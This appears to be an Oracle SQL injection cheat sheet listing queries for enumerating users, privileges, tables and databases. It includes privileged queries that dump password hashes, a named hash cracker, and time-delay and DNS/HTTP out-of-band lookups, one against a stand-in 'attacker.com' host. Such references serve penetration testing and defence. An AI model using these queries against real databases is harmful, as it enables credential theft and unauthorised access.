Version
|
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;
|
| Comments |
SELECT 1 FROM dual -- comment
-- NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name 'dual' when we're not actually selecting from a table.
|
Current User
|
SELECT user FROM dual
|
| List Users |
SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; -- priv |
List Password Hashes
|
SELECT name, password, astatus FROM sys.user$ -- priv, <= 10g. astatus tells you if acct is locked
SELECT name,spare4 FROM sys.user$ -- priv, 11g |
Password Cracker
|
checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10. |
| List Privileges |
SELECT * FROM session_privs; -- current privs
SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; -- priv, list a user's privs
SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; -- priv, find users with a particular priv
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
|
| List DBA Accounts |
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; -- priv, list DBAs, DBA roles |
| Current Database |
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL; |
| List Databases |
SELECT DISTINCT owner FROM all_tables; -- list schemas (one per user)
-- Also query TNS listener for other databases. See tnscmd (services | status). |
List Columns
|
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
|
| List Tables |
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
|
| Find Tables From Column Name |
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%'; -- NB: table names are upper case |
| Select Nth Row |
SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; -- gets 9th row (rows numbered from 1) |
Select Nth Char
|
SELECT substr('abcd', 3, 1) FROM dual; -- gets 3rd character, 'c'
|
Bitwise AND
|
SELECT bitand(6,2) FROM dual; -- returns 2
SELECT bitand(6,1) FROM dual; -- returns0 |
|
ASCII Value -> Char |
SELECT chr(65) FROM dual; -- returns A
|
| Char -> ASCII Value |
SELECT ascii('A') FROM dual; -- returns 65
|
| Casting |
SELECT CAST(1 AS char) FROM dual;
SELECT CAST('1' AS int) FROM dual; |
| String Concatenation |
SELECT 'A' || 'B' FROM dual; -- returns AB |
| If Statement |
BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; -- doesn't play well with SELECT statements
|
| Case Statement |
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; -- returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; -- returns 2 |
Avoiding Quotes
|
SELECT chr(65) || chr(66) FROM dual; -- returns AB
|
Time Delay
|
BEGIN DBMS_LOCK.SLEEP(5); END; -- priv, can't seem to embed this in a SELECT
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- if reverse looks are slow
SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; -- if forward lookups are slow
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; -- if outbound TCP is filtered / slow
-- Also see Heavy Queries to create a time delay
|
| Make DNS Requests |
SELECT UTL_INADDR.get_host_address('google.com') FROM dual;
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; |
| Command Execution |
Java can be used to execute commands if it's installed.
ExtProc can sometimes be used too, though it normally failed for me. :-(
|
Local File Access
|
UTL_FILE can sometimes be used. Check that the following is non-null:
SELECT value FROM v$parameter2 WHERE name = 'utl_file_dir';
Java can be used to read and write files if it's installed (it is not available in Oracle Express). |
| Hostname, IP Address |
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; -- gets IP address
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- gets hostnames |
Location of DB files
|
SELECT name FROM V$DATAFILE; |
Default/System Databases
|
SYSTEM
SYSAUX |
